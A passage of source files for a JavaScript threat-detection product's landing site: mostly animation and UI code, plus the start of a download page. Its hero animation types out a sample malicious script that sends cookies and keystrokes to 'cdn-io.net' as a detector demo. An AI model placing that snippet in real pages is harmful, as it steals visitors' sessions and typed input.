    "content": "/* ═══════════════════════════════════════════════════════\n   JSTD.AI — Main Script\n   Starfield · Neural Net Diagram · Typewriter · Carousel\n   Counters · Entropy Bars · Intersection Animations\n══════════════════════════════════════════════════════ */\n\n'use strict';\n\n/* ── UTILS ─────────────────────────────────────── */\nconst qs = (s, r = document) => r.querySelector(s);\nconst qsa = (s, r = document) => [...r.querySelectorAll(s)];\nconst raf = requestAnimationFrame;\n\n/* ══════════════════════════════════════════════════\n   1. STARFIELD\n══════════════════════════════════════════════════ */\n(function initStarfield() {\n    const canvas = qs('#starfield');\n    if (!canvas) return;\n    const ctx = canvas.getContext('2d');\n\n    let W, H, stars = [];\n\n    const STAR_COUNT = 220;\n    const NEBULA_COLORS = [\n        'rgba(0,212,255,',\n        'rgba(167,139,250,',\n        'rgba(0,255,136,',\n        'rgba(255,51,102,',\n    ];\n\n    function resize() {\n        const DPR = window.devicePixelRatio || 1;\n        W = window.innerWidth;\n        H = window.innerHeight;\n        canvas.style.width  = W + 'px';\n        canvas.style.height = H + 'px';\n        canvas.width  = Math.round(W * DPR);\n        canvas.height = Math.round(H * DPR);\n        ctx.setTransform(DPR, 0, 0, DPR, 0, 0);\n    }\n\n    function createStar() {\n        return {\n            x: Math.random() * W,\n            y: Math.random() * H,\n            r: Math.random() * 1.2 + 0.2,\n            alpha: Math.random() * 0.7 + 0.1,\n            speed: Math.random() * 0.12 + 0.02,\n            twinkle: Math.random() * Math.PI * 2,\n            twinkleSpeed: 0.005 + Math.random() * 0.012,\n        };\n    }\n\n    let nebulaBlobs = [];\n\n    function initBlobs() {\n        nebulaBlobs = Array.from({ length: 4 }, (_, i) => ({\n            x: Math.random() * W,\n            y: Math.random() * H,\n            r: 180 + Math.random() * 220,\n            color: NEBULA_COLORS[i % NEBULA_COLORS.length],\n            alpha: 0.018 + Math.random() * 0.024,\n        }));\n        cacheGradients();\n    }\n\n    function cacheGradients() {\n        nebulaBlobs.forEach(b => {\n            const g = ctx.createRadialGradient(b.x, b.y, 0, b.x, b.y, b.r);\n            g.addColorStop(0, b.color + b.alpha + ')');\n            g.addColorStop(0.5, b.color + (b.alpha * 0.4) + ')');\n            g.addColorStop(1, b.color + '0)');\n            b.cachedGrad = g;\n        });\n    }\n\n    function init() {\n        resize();\n        stars = Array.from({ length: STAR_COUNT }, createStar);\n        initBlobs();\n    }\n\n    function draw(ts = 0) {\n        if (document.hidden) return;\n        ctx.clearRect(0, 0, W, H);\n\n        // nebula blobs (gradients pre-cached in init)\n        nebulaBlobs.forEach(b => {\n            ctx.fillStyle = b.cachedGrad;\n            ctx.beginPath();\n            ctx.arc(b.x, b.y, b.r, 0, Math.PI * 2);\n            ctx.fill();\n        });\n\n        // stars\n        stars.forEach(s => {\n            s.twinkle += s.twinkleSpeed;\n            const a = s.alpha * (0.6 + 0.4 * Math.sin(s.twinkle));\n            s.y -= s.speed;\n            if (s.y < -2) {\n                s.y = H + 2;\n                s.x = Math.random() * W;\n            }\n\n            ctx.beginPath();\n            ctx.arc(s.x, s.y, s.r, 0, Math.PI * 2);\n            ctx.fillStyle = `rgba(200,220,255,${a})`;\n            ctx.fill();\n        });\n\n        // grid scanline\n        const scanY = (ts * 0.04) % H;\n        const scanGrad = ctx.createLinearGradient(0, scanY - 80, 0, scanY + 80);\n        scanGrad.addColorStop(0, 'transparent');\n        scanGrad.addColorStop(0.5, 'rgba(0,212,255,0.012)');\n        scanGrad.addColorStop(1, 'transparent');\n        ctx.fillStyle = scanGrad;\n        ctx.fillRect(0, scanY - 80, W, 160);\n\n        raf(draw);\n    }\n\n    init();\n    draw();\n    let resizeTimer;\n    window.addEventListener('resize', () => {\n        clearTimeout(resizeTimer);\n        resizeTimer = setTimeout(() => { resize(); cacheGradients(); }, 150);\n    });\n    document.addEventListener('visibilitychange', () => {\n        if (!document.hidden) raf(draw);\n    });\n})();\n\n\n/* ══════════════════════════════════════════════════\n   2. CRACK LINE — inject .crack-line span into .cracked-word\n══════════════════════════════════════════════════ */\nqsa('.cracked-word').forEach(el => {\n    const line = document.createElement('span');\n    line.className = 'crack-line';\n    el.appendChild(line);\n});\n\n\n/* ══════════════════════════════════════════════════\n   3. HERO CODE TYPEWRITER\n══════════════════════════════════════════════════ */\n(function initTypewriter() {\n    const el = qs('#heroCode');\n    if (!el) return;\n\n    const card    = el.closest('.threat-card');\n    const codeArea = el;\n\n    /* Lock only the CODE AREA height so typewriter never reflows the card */\n    requestAnimationFrame(() => requestAnimationFrame(() => {\n        if (codeArea && !codeArea.style.height) {\n            codeArea.style.height = codeArea.offsetHeight + 'px';\n        }\n    }));\n\n    /* — Threat level system — */\n    const labelEl = qs('#heroThreatLabel');\n\n    function hexToRgba(hex, a) {\n        const r = parseInt(hex.slice(1,3),16), g = parseInt(hex.slice(3,5),16), b = parseInt(hex.slice(5,7),16);\n        return `rgba(${r},${g},${b},${a})`;\n    }\n\n    const LEVELS = {\n        safe:     { label: 'SAFE',            color: '#4ade80' },\n        low:      { label: 'LOW RISK',        color: '#a3e635' },\n        medium:   { label: 'MEDIUM RISK',     color: '#facc15' },\n        high:     { label: 'HIGH RISK',       color: '#fb923c' },\n        critical: { label: 'CRITICAL THREAT', color: '#f87171' },\n    };\n\n    const BAR_GRAD = {\n        safe:     'linear-gradient(90deg,#4ade80,#22c55e)',\n        low:      'linear-gradient(90deg,#a3e635,#65a30d)',\n        medium:   'linear-gradient(90deg,#facc15,#d97706)',\n        high:     'linear-gradient(90deg,#fb923c,#dc2626)',\n        critical: 'linear-gradient(90deg,#f87171,#fb923c)',\n    };\n\n    const LABEL_GLITCH = '!@#%^&*<>[]{}|~/?=+-_.:;';\n\n    function scrambleLabel(newText, newColor) {\n        if (!labelEl) return;\n        /* Start color transition immediately — it runs in parallel with the scramble */\n        labelEl.style.color = newColor;\n        const target = newText.split('');\n        let work = labelEl.textContent.padEnd(target.length, ' ').slice(0, target.length).split('');\n        let frame = 0;\n        const total = target.length;\n        const framesPerChar = 2;\n\n        function rnd() { return LABEL_GLITCH[Math.floor(Math.random() * LABEL_GLITCH.length)]; }\n\n        function step() {\n            const charsDone = Math.floor(frame / framesPerChar);\n            for (let i = 0; i < total; i++) {\n                if (i < charsDone) {\n                    work[i] = target[i];\n                } else {\n                    work[i] = target[i] === ' ' ? ' ' : rnd();\n                }\n            }\n            labelEl.textContent = work.join('');\n            frame++;\n            if (charsDone < total) {\n                setTimeout(step, 28);\n            } else {\n                labelEl.textContent = newText;\n            }\n        }\n        step();\n    }\n\n    function setLevel(name) {\n        const { label, color } = LEVELS[name];\n        if (card) {\n            card.style.transition    = 'border-color 1.6s ease, box-shadow 1.6s ease';\n            card.style.borderColor   = hexToRgba(color, 0.28);\n            card.style.boxShadow     = `0 0 40px ${hexToRgba(color, 0.07)}, 0 0 0 1px ${hexToRgba(color, 0.1)} inset`;\n        }\n        if (codeArea) codeArea.style.borderLeftColor = hexToRgba(color, 0.28);\n        if (scoreEl)  scoreEl.style.color = color;\n        if (barFillEl) { barFillEl.style.background = BAR_GRAD[name]; barFillEl.style.boxShadow = `0 0 8px ${hexToRgba(color, 0.45)}`; }\n        if (card) card.querySelectorAll('.threat-card__header svg path').forEach(p => p.setAttribute('stroke', color));\n        scrambleLabel(label, color);\n    }\n\n    const lines = [\n        { txt: '// analytics.min.js v2.3.1',     cls: 'c-comment' },\n        { txt: '(function(w, d) {',              cls: 'c-kw' },\n        { txt: '  var _orig = d.createElement;', cls: null },\n        { txt: \"  d['createElement'] = (tag) => {\", cls: 'c-kw' },\n        { txt: \"    if (tag === 'script') {\",    cls: null },\n        { txt: '      var xhr = new XMLHttpRequest();', cls: 'c-fn' },\n        { txt: \"      xhr.open('POST','//cdn-io.net/t',!0);\", cls: 'c-fn' },\n        { txt: \"      xhr.send(btoa(d.cookie+location));\", cls: 'c-str' },\n        { txt: '    }; return _orig.call(d,tag); };', cls: null },\n        { txt: \"  d.addEventListener('keydown',\", cls: 'c-kw' },\n        { txt: '    e => navigator.sendBeacon(', cls: 'c-fn' },\n        { txt: \"      '//cdn-io.net/k', e.key));\", cls: 'c-str' },\n        { txt: '})(window, document);',          cls: null },\n    ];\n\n    /* Detection UI elements */\n    const scoreEl    = qs('#heroScore');\n    const barFillEl  = qs('#heroBarFill');\n    const ruleEls    = [0,1,2,3].map(i => qs('#heroRule'    + i));\n    const rulePctEls = [0,1,2,3].map(i => qs('#heroRulePct' + i));\n\n    function animateNum(el, target, decimals, suffix, duration) {\n        if (!el) return;\n        const start = parseFloat(el.textContent) || 0;\n        const t0 = performance.now();\n        function step(now) {\n            const p = Math.min((now - t0) / duration, 1);\n            const ease = 1 - Math.pow(1 - p, 3);\n            el.textContent = (start + (target - start) * ease).toFixed(decimals) + suffix;\n            if (p < 1) requestAnimationFrame(step);\n        }\n        requestAnimationFrame(step);\n    }\n\n    function showRule(i, pct) {\n        if (ruleEls[i] && !ruleEls[i].classList.contains('rule-visible'))\n            ruleEls[i].classList.add('rule-visible');\n        animateNum(rulePctEls[i], pct, 0, '%', 700);\n    }\n\n    function animateBar(target) {\n        if (!barFillEl) return;\n        barFillEl.style.transition = 'width 1.1s cubic-bezier(.4,0,.2,1)';\n        barFillEl.style.width = target + '%';\n    }\n\n    /* Milestones fire after the line at that index finishes typing */\n    const MILESTONES = {\n        1:  {                    score:  9.2, bar:  6 },\n        2:  { level: 'low',      score: 17.4, bar: 12 },\n        3:  { level: 'medium',   score: 34.8, bar: 24, rules: [{i:0, pct:34}] },\n        4:  {                    score: 44.1, bar: 33 },\n        6:  { level: 'high',     score: 58.7, bar: 46, rules: [{i:0, pct:59}, {i:1, pct:28}] },\n        7:  {                    score: 71.3, bar: 63, rules: [{i:1, pct:62}] },\n        8:  { level: 'critical', score: 77.6, bar: 72 },\n        9:  {                    score: 81.2, bar: 75, rules: [{i:2, pct:24}] },\n        11: {                    score: 88.9, bar: 82, rules: [{i:2, pct:71}, {i:3, pct:38}] },\n        12: {                    score: 93.46, bar: 93.46, rules: [{i:0, pct:96}, {i:1, pct:94}, {i:2, pct:88}, {i:3, pct:76}] },\n    };\n\n    function fireMilestone(idx) {\n        const m = MILESTONES[idx];\n        if (!m) return;\n        if (m.level) setLevel(m.level);\n        animateNum(scoreEl, m.score, 2, '%', 900);\n        if (m.rules) m.rules.forEach(r => showRule(r.i, r.pct));\n        if (m.bar != null) animateBar(m.bar);\n    }\n\n    function resetDetection() {\n        setLevel('safe');\n        if (scoreEl)   scoreEl.textContent = '0.00%';\n        if (barFillEl) { barFillEl.style.transition = 'none'; barFillEl.style.width = '0%'; }\n        ruleEls.forEach((el, i) => {\n            if (!el) return;\n            el.classList.remove('rule-visible');\n            if (rulePctEls[i]) rulePctEls[i].textContent = '0%';\n        });\n    }\n\n    let lineIdx = 0,\n        charIdx = 0;\n    let fullText = '';\n\n    /* ASCII-only glitch chars — same byte-width so lines never stretch */\n    const GLITCH = '!@#%^&*<>[]{}|~/?=+-_.:;';\n\n    function scrambleOut(callback) {\n        /* Strip HTML to plain char grid */\n        const raw = el.textContent.replace(/▌/g, '');\n        const rows = raw.split('\\n');\n        const grid = rows.map(r => r.split(''));\n\n        /* Collect all non-space char positions */\n        const positions = [];\n        grid.forEach((row, r) => row.forEach((ch, c) => {\n            if (ch.trim()) positions.push([r, c]);\n        }));\n        /* Shuffle for random corruption order */\n        for (let i = positions.length - 1; i > 0; i--) {\n            const j = Math.floor(Math.random() * (i + 1));\n            [positions[i], positions[j]] = [positions[j], positions[i]];\n        }\n\n        function rndGlyph() { return GLITCH[Math.floor(Math.random() * GLITCH.length)]; }\n        function render() { el.textContent = grid.map(r => r.join('')).join('\\n'); }\n\n        let idx = 0;\n        const batch = Math.max(2, Math.ceil(positions.length / 18));\n\n        function step() {\n            /* Corrupt next batch */\n            for (let b = 0; b < batch && idx < positions.length; b++, idx++) {\n                const [r, c] = positions[idx];\n                grid[r][c] = rndGlyph();\n            }\n            /* Keep already-corrupted chars alive / mutating */\n            positions.slice(0, idx).forEach(([r, c]) => {\n                if (Math.random() < 0.25) grid[r][c] = rndGlyph();\n            });\n            render();\n\n            if (idx < positions.length) {\n                setTimeout(step, 28);\n            } else {\n                /* Full noise — flash a few more frames then fade out */\n                let flashes = 0;\n                const flash = setInterval(() => {\n                    positions.forEach(([r, c]) => { grid[r][c] = rndGlyph(); });\n                    render();\n                    if (++flashes >= 5) {\n                        clearInterval(flash);\n                        el.style.transition = 'opacity .3s ease';\n                        el.style.opacity = '0';\n                        setTimeout(callback, 320);\n                    }\n                }, 50);\n            }\n        }\n        step();\n    }\n\n    function tick() {\n        if (lineIdx >= lines.length) {\n            setTimeout(() => {\n                scrambleOut(() => {\n                    el.innerHTML = '';\n                    el.style.opacity = '0';\n                    fullText = '';\n                    lineIdx = 0;\n                    charIdx = 0;\n                    resetDetection();\n                    el.style.transition = 'opacity .35s ease';\n                    requestAnimationFrame(() => requestAnimationFrame(() => { el.style.opacity = '1'; }));\n                    tick();\n                });\n            }, 2800);\n            return;\n        }\n\n        const line = lines[lineIdx];\n        if (charIdx <= line.txt.length) {\n            const partial = line.txt.slice(0, charIdx);\n            const cls = line.cls ? ` class=\"${line.cls}\"` : '';\n            const lineHtml = cls ?\n                `<span${cls}>${escHtml(partial)}<span class=\"cursor\">▌</span></span>` :\n                escHtml(partial) + '<span class=\"cursor\">▌</span>';\n\n            el.innerHTML = fullText + lineHtml;\n            charIdx++;\n            setTimeout(tick, 32 + Math.random() * 28);\n        } else {\n            const cls = line.cls ? ` class=\"${line.cls}\"` : '';\n            fullText += cls ?\n                `<span${cls}>${escHtml(line.txt)}</span>\\n` :\n                escHtml(line.txt) + '\\n';\n            fireMilestone(lineIdx);\n            lineIdx++;\n            charIdx = 0;\n            setTimeout(tick, 80);\n        }\n    }\n\n    function escHtml(s) {\n        return s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');\n    }\n\n    setLevel('safe');\n    setTimeout(tick, 600);\n})();\n\n\n/* ══════════════════════════════════════════════════\n   4. NEURAL NETWORK CANVAS DIAGRAM\n══════════════════════════════════════════════════ */\n(function initNNDiagram() {\n    const c1 = qs('#nnCanvas');\n    const c2 = qs('#nnCanvas2');\n    if (!c1 || !c2) return;\n\n    const DPR = Math.min((window.devicePixelRatio || 1) * 4, 8);\n\n    /* Scale a canvas to physical pixels, keep CSS size unchanged */\n    function scaleCanvas(c) {\n        const lw = c.width, lh = c.height;\n        c.style.width  = lw + 'px';\n        c.style.height = lh + 'px';\n        c.width  = Math.round(lw * DPR);\n        c.height = Math.round(lh * DPR);\n        return { lw, lh };\n    }\n\n    const LAYERS = [\n        {\n            canvas: c1, ...scaleCanvas(c1),\n            left:  { n: 8, color: '#00d4ff' },\n            right: { n: 8, color: '#a78bfa' },\n            connColor:  'rgba(0,212,255,0.06)',\n            activeConn: 'rgba(0,212,255,0.35)',\n        },\n        {\n            canvas: c2, ...scaleCanvas(c2),\n            left:  { n: 6, color: '#a78bfa' },\n            right: { n: 1, color: '#00ff88' },\n            connColor:  'rgba(167,139,250,0.1)',\n            activeConn: 'rgba(0,255,136,0.6)',\n        },\n    ];\n\n    /* Pre-compute node y-positions so they aren't recalculated every frame */\n    const PAD = 32;\n    const NODE_R = 6;\n\n    function buildPositions(n, H) {\n        const spacing = (H - PAD * 2) / (n + 1);\n        return Array.from({ length: n }, (_, i) => PAD + spacing * (i + 1));\n    }\n\n    LAYERS.forEach(L => {\n        L.leftX  = PAD + NODE_R + 2;\n        L.rightX = L.lw - PAD - NODE_R - 2;\n        L.leftY  = buildPositions(L.left.n,  L.lh);\n        L.rightY = buildPositions(L.right.n, L.lh);\n    });\n\n    /* Draw one layer for a given animation tick */\n    function drawLayer(L, tick) {\n        const { canvas, lw, lh, left, right, connColor, activeConn,\n                leftX, rightX, leftY, rightY } = L;\n        const ctx = canvas.getContext('2d');\n\n        ctx.clearRect(0, 0, canvas.width, canvas.height);\n        ctx.save();\n        ctx.scale(DPR, DPR);\n\n        /* — connections, batched by style to minimise state changes — */\n        ctx.lineWidth = 0.8;\n        ctx.strokeStyle = connColor;\n        ctx.beginPath();\n        for (let i = 0; i < left.n; i++) {\n            for (let j = 0; j < right.n; j++) {\n                if ((i + j) % 3 !== tick) {\n                    ctx.moveTo(leftX + NODE_R, leftY[i]);\n                    ctx.lineTo(rightX - NODE_R, rightY[j]);\n                }\n            }\n        }\n        ctx.stroke();\n\n        ctx.lineWidth = 1.2;\n        ctx.strokeStyle = activeConn;\n        ctx.beginPath();\n        for (let i = 0; i < left.n; i++) {\n            for (let j = 0; j < right.n; j++) {\n                if ((i + j) % 3 === tick) {\n                    ctx.moveTo(leftX + NODE_R, leftY[i]);\n                    ctx.lineTo(rightX - NODE_R, rightY[j]);\n                }\n            }\n        }\n        ctx.stroke();\n\n        /* — nodes — */\n        function drawNodes(xs, ys, color) {\n            ctx.strokeStyle = color;\n            ctx.lineWidth = 1.2;\n            ys.forEach(y => {\n                ctx.beginPath();\n                ctx.arc(xs, y, NODE_R, 0, Math.PI * 2);\n                ctx.fillStyle = color + '22';\n                ctx.fill();\n                ctx.stroke();\n            });\n        }\n        drawNodes(leftX,  leftY,  left.color);\n        drawNodes(rightX, rightY, right.color);\n\n        ctx.restore();\n    }\n\n    /* Shared animation loop for both canvases */\n    function frame() {\n        if (document.hidden) return;\n        const tick = Math.floor(Date.now() / 400) % 3;\n        LAYERS.forEach(L => drawLayer(L, tick));\n        raf(frame);\n    }\n\n    document.addEventListener('visibilitychange', () => {\n        if (!document.hidden) raf(frame);\n    });\n\n    frame();\n})();\n\n\n/* ══════════════════════════════════════════════════\n   5. INTERSECTION OBSERVER — fade-in + trigger anims\n══════════════════════════════════════════════════ */\n(function initObserver() {\n    const fadeEls = qsa([\n        '.section__label',\n        '.section__title',\n        '.section__desc',\n        '.pipeline__step',\n        '.algo-card',\n        '.tcard',\n        '.showcase-item',\n        '.docs-card',\n        '.docs-qs-step',\n    ].join(','));\n\n    const fadeObs = new IntersectionObserver((entries) => {\n        entries.forEach(e => {\n            if (e.isIntersecting) {\n                e.target.classList.add('is-visible');\n                fadeObs.unobserve(e.target);\n            }\n        });\n    }, { threshold: 0.12 });\n\n    fadeEls.forEach(el => fadeObs.observe(el));\n\n    // Trigger entropy bar animation on view\n    const entropyObs = new IntersectionObserver((entries) => {\n        entries.forEach(e => {\n            if (e.isIntersecting) {\n                qsa('.entropy-fill', e.target).forEach(bar => {\n                    const target = bar.style.width;\n                    bar.style.width = '0';\n                    requestAnimationFrame(() => {\n                        requestAnimationFrame(() => { bar.style.width = target; });\n                    });\n                });\n                entropyObs.unobserve(e.target);\n            }\n        });\n    }, { threshold: 0.2 });\n\n    const entropySection = qs('.entropy-visual');\n    if (entropySection) entropyObs.observe(entropySection.closest('.algo-card'));\n\n    // Threat card bar\n    const barFill = qs('.threat-card__bar-fill');\n    if (barFill) {\n        const barObs = new IntersectionObserver(entries => {\n            entries.forEach(e => {\n                if (e.isIntersecting) {\n                    barFill.style.width = barFill.dataset.width || barFill.style.width;\n                    barObs.unobserve(e.target);\n                }\n            });\n        }, { threshold: 0.5 });\n        barObs.observe(barFill.closest('.threat-card') || document.body);\n    }\n})();\n\n\n/* ══════════════════════════════════════════════════\n   6. ANIMATED STAT COUNTERS\n══════════════════════════════════════════════════ */\n(function initCounters() {\n    const counters = qsa('[data-count]');\n    if (!counters.length) return;\n\n    const obs = new IntersectionObserver(entries => {\n        entries.forEach(e => {\n            if (!e.isIntersecting) return;\n            const el = e.target;\n            const target = parseFloat(el.dataset.count);\n            const isFloat = String(target).includes('.');\n            const duration = 1400;\n            const start = performance.now();\n\n            function step(now) {\n                const progress = Math.min((now - start) / duration, 1);\n                const ease = 1 - Math.pow(1 - progress, 3);\n                const val = target * ease;\n                el.textContent = isFloat ? val.toFixed(1) : Math.round(val).toLocaleString('ru');\n                if (progress < 1) raf(step);\n            }\n\n            raf(step);\n            obs.unobserve(el);\n        });\n    }, { threshold: 0.5 });\n\n    counters.forEach(c => obs.observe(c));\n})();\n\n\n/* ══════════════════════════════════════════════════\n   7. TESTIMONIALS CAROUSEL\n══════════════════════════════════════════════════ */\n(function initTestimonials() {\n    const wrapper = qs('.testimonials');\n    const track = qs('#testimonialsTrack');\n    const prevBtn = qs('#tPrev');\n    const nextBtn = qs('#tNext');\n    const dotsWrap = qs('#tDots');\n    if (!track || !wrapper) return;\n\n    const cards = qsa('.tcard', track);\n    let current = 0;\n    let autoTimer;\n\n    // Breakpoints based on actual wrapper width, not window.innerWidth —\n    // so it works correctly inside iframes and any container context.\n    function getPerView(wrapW) {\n        if (wrapW <= 600) return 1;\n        if (wrapW <= 960) return 2;\n        return 3;\n    }\n\n    function applyCardSizes() {\n        const wrapW = wrapper.offsetWidth;\n        const pv = getPerView(wrapW);\n        const gap = 24;\n        const cardW = Math.floor((wrapW - gap * (pv - 1)) / pv);\n        cards.forEach(c => {\n            c.style.width = cardW + 'px';\n            c.style.minWidth = cardW + 'px';\n        });\n        return { cardW, gap, pv, wrapW };\n    }\n\n    function getTotal() {\n        const wrapW = wrapper.offsetWidth;\n        return Math.ceil(cards.length / getPerView(wrapW));\n    }\n\n    function buildDots() {\n        if (!dotsWrap) return;\n        dotsWrap.innerHTML = '';\n        const total = getTotal();\n        for (let i = 0; i < total; i++) {\n            const d = document.createElement('button');\n            d.className = 't-dot' + (i === current ? ' active' : '');\n            d.setAttribute('aria-label', 'Слайд ' + (i + 1));\n            d.addEventListener('click', () => goTo(i));\n            dotsWrap.appendChild(d);\n        }\n    }\n\n    function goTo(idx) {\n        const { cardW, gap, pv } = applyCardSizes();\n        const total = getTotal();\n        current = Math.max(0, Math.min(idx, total - 1));\n        const offset = current * pv * (cardW + gap);\n        track.style.transition = 'transform .5s cubic-bezier(.4,0,.2,1)';\n        track.style.transform = `translateX(-${offset}px)`;\n        qsa('.t-dot', dotsWrap).forEach((d, i) => d.classList.toggle('active', i === current));\n    }\n\n    function next() { goTo(current + 1 < getTotal() ? current + 1 : 0); }\n\n    function prev() { goTo(current - 1 >= 0 ? current - 1 : getTotal() - 1); }\n\n    function startAuto() { autoTimer = setInterval(next, 5000); }\n\n    function stopAuto() { clearInterval(autoTimer); }\n\n    if (nextBtn) nextBtn.addEventListener('click', () => {\n        stopAuto();\n        next();\n        startAuto();\n    });\n    if (prevBtn) prevBtn.addEventListener('click', () => {\n        stopAuto();\n        prev();\n        startAuto();\n    });\n\n    // pause autoplay while cursor is over any tcard\n    track.addEventListener('mouseenter', stopAuto);\n    track.addEventListener('mouseleave', startAuto);\n\n    // swipe\n    let startX = 0;\n    track.addEventListener('pointerdown', e => { startX = e.clientX; });\n    track.addEventListener('pointerup', e => {\n        const dx = e.clientX - startX;\n        if (Math.abs(dx) > 40) {\n            stopAuto();\n            dx < 0 ? next() : prev();\n            startAuto();\n        }\n    });\n\n    // keyboard\n    document.addEventListener('keydown', e => {\n        if (e.key === 'ArrowRight') {\n            stopAuto();\n            next();\n            startAuto();\n        }\n        if (e.key === 'ArrowLeft') {\n            stopAuto();\n            prev();\n            startAuto();\n        }\n    });\n\n    window.addEventListener('resize', () => {\n        applyCardSizes();\n        buildDots();\n        goTo(0);\n    });\n\n    applyCardSizes();\n    buildDots();\n    goTo(0);\n    startAuto();\n})();\n\n\n/* ══════════════════════════════════════════════════\n   8. NAV MOBILE BURGER\n══════════════════════════════════════════════════ */\n(function initBurger() {\n    const burger = qs('#navBurger');\n    const links = qs('.nav__links');\n    if (!burger || !links) return;\n\n    burger.addEventListener('click', () => {\n        const open = links.style.display === 'flex';\n        links.style.display = open ? '' : 'flex';\n        links.style.flexDirection = 'column';\n        links.style.position = 'absolute';\n        links.style.top = '64px';\n        links.style.left = '0';\n        links.style.right = '0';\n        links.style.background = 'rgba(6,9,17,.97)';\n        links.style.borderBottom = '1px solid rgba(0,212,255,.14)';\n        links.style.padding = '16px 32px';\n        if (open) links.removeAttribute('style');\n    });\n})();\n\n\n/* ══════════════════════════════════════════════════\n   9. NAV ACTIVE LINK ON SCROLL\n══════════════════════════════════════════════════ */\n(function initNavHighlight() {\n    const sections = qsa('section[id]');\n    const navLinks = qsa('.nav__links a[href^=\"#\"]');\n\n    const obs = new IntersectionObserver(entries => {\n        entries.forEach(e => {\n            if (!e.isIntersecting) return;\n            navLinks.forEach(a => {\n                a.classList.toggle('active', a.getAttribute('href') === '#' + e.target.id);\n            });\n        });\n    }, { rootMargin: '-40% 0px -55% 0px' });\n\n    sections.forEach(s => obs.observe(s));\n})();\n\n\n\n\n\n/* ══════════════════════════════════════════════════\n   11. SMOOTH PARALLAX on hero grid overlay\n══════════════════════════════════════════════════ */\n(function initParallax() {\n    const overlay = qs('.hero__grid-overlay');\n    if (!overlay || window.matchMedia('(prefers-reduced-motion: reduce)').matches) return;\n\n    document.addEventListener('mousemove', e => {\n        const dx = (e.clientX / window.innerWidth - 0.5) * 12;\n        const dy = (e.clientY / window.innerHeight - 0.5) * 8;\n        overlay.style.transform = `translate(${dx}px, ${dy}px)`;\n    });\n})();\n\n\n/* ══════════════════════════════════════════════════\n   12. FEATURE BARS RESET+ANIMATE on view\n══════════════════════════════════════════════════ */\n(function initFeatureBars() {\n    const section = qs('.features-visual');\n    if (!section) return;\n\n    const obs = new IntersectionObserver(entries => {\n        entries.forEach(e => {\n            if (!e.isIntersecting) return;\n            qsa('.feat-bar__fill', e.target).forEach(bar => {\n                bar.style.animation = 'none';\n                void bar.offsetWidth;\n                bar.style.animation = '';\n            });\n            obs.unobserve(e.target);\n        });\n    }, { threshold: 0.3 });\n\n    obs.observe(section.closest('.algo-card'));\n})();\n\n\n/* ══════════════════════════════════════════════════\n   13. FAQ ACCORDION\n══════════════════════════════════════════════════ */\n(function initFAQ() {\n    const list = qs('#faqList');\n    if (!list) return;\n\n    list.addEventListener('click', e => {\n        const btn = e.target.closest('.faq-item__q');\n        if (!btn) return;\n\n        const item = btn.closest('.faq-item');\n        const isOpen = item.classList.contains('faq-item--open');\n\n        // close all\n        qsa('.faq-item--open', list).forEach(el => {\n            el.classList.remove('faq-item--open');\n            el.querySelector('.faq-item__q').setAttribute('aria-expanded', 'false');\n        });\n\n        // open clicked if it was closed\n        if (!isOpen) {\n            item.classList.add('faq-item--open');\n            btn.setAttribute('aria-expanded', 'true');\n        }\n    });\n})();"
  },
  {
    "path": "legacy_tandem/viewer/works/example-jstd/download/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\" translate=\"no\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <script>\n        ! function () {\n            var l = localStorage.getItem('jstd_lang') || (navigator.language || '').slice(0, 2);\n            if (l !== 'ru') document.documentElement.classList.add('lang-loading');\n        }();\n    </script>\n    <meta http-equiv=\"refresh\" content=\"3; url=./jstd-ai.zip\" />\n    <title>Загрузка — JSTD.AI</title>\n    <meta name=\"google\" content=\"notranslate\" />\n    <meta name=\"robots\" content=\"noindex, nofollow\" />\n    <link rel=\"icon\" type=\"image/png\" href=\"../favicon.png\" />\n    <link rel=\"shortcut icon\" type=\"image/png\" href=\"../favicon.png\" />\n    <meta name=\"description\" content=\"Скачайте JSTD.AI — нейросетевой анализатор JavaScript угроз. Работает локально, без GPU и облака.\" />\n    <link rel=\"canonical\" href=\"https://jstd.su/download/\" />\n    <link rel=\"stylesheet\" href=\"../styles/main.css\" />\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link href=\"https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Space+Mono:wght@400;700&display=swap\" rel=\"stylesheet\" />\n</head>\n\n<body>\n\n    <!-- ░░ CANVAS STARFIELD ░░ -->\n    <canvas id=\"starfield\"></canvas>\n\n    <!-- ░░ NAV ░░ -->\n    <nav class=\"nav\">\n        <div class=\"nav__inner\">\n            <a href=\"/\" class=\"nav__logo\">\n                <svg width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" aria-hidden=\"true\">\n                    <path d=\"M16 2L4 7.5V16C4 22.627 9.373 28 16 28C22.627 28 28 22.627 28 16V7.5L16 2Z\" stroke=\"#00d4ff\" stroke-width=\"1.5\" fill=\"none\" />\n                    <path d=\"M16 7L9 10.25V16C9 19.866 12.134 23 16 23C19.866 23 23 19.866 23 16V10.25L16 7Z\" fill=\"#00d4ff\" fill-opacity=\"0.12\" stroke=\"#00d4ff\" stroke-width=\"1\" />\n                    <path d=\"M13 16L15.5 18.5L20 13\" stroke=\"#00d4ff\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    <circle cx=\"16\" cy=\"16\" r=\"1.5\" fill=\"#00d4ff\" />\n                </svg>\n                <span class=\"nav__logo-text\">JSTD<span class=\"brand-accent\">.AI</span></span>\n            </a>\n            <ul class=\"nav__links\">\n                <li><a href=\"/#how-it-works\" data-i18n=\"nav.how\">Принцип работы</a></li>\n                <li><a href=\"/#algorithms\" data-i18n=\"nav.algorithms\">Алгоритмы</a></li>\n                <li><a href=\"/#docs\" data-i18n=\"nav.docs\">Документация</a></li>\n                <li><a href=\"/#testimonials\" data-i18n=\"nav.testimonials\">Отзывы</a></li>\n                <li><a href=\"/\" class=\"nav__cta-link\" data-i18n=\"nav.home\">На главную</a></li>\n                <li class=\"nav__lang-switch\"><button class=\"lang-btn\" data-lang-switch=\"ru\">RU</button><span class=\"lang-sep\">/</span><button class=\"lang-btn\" data-lang-switch=\"en\">EN</button></li>\n            </ul>\n        </div>\n    </nav>\n\n    <!-- ░░ DOWNLOAD MAIN ░░ -->\n    <main 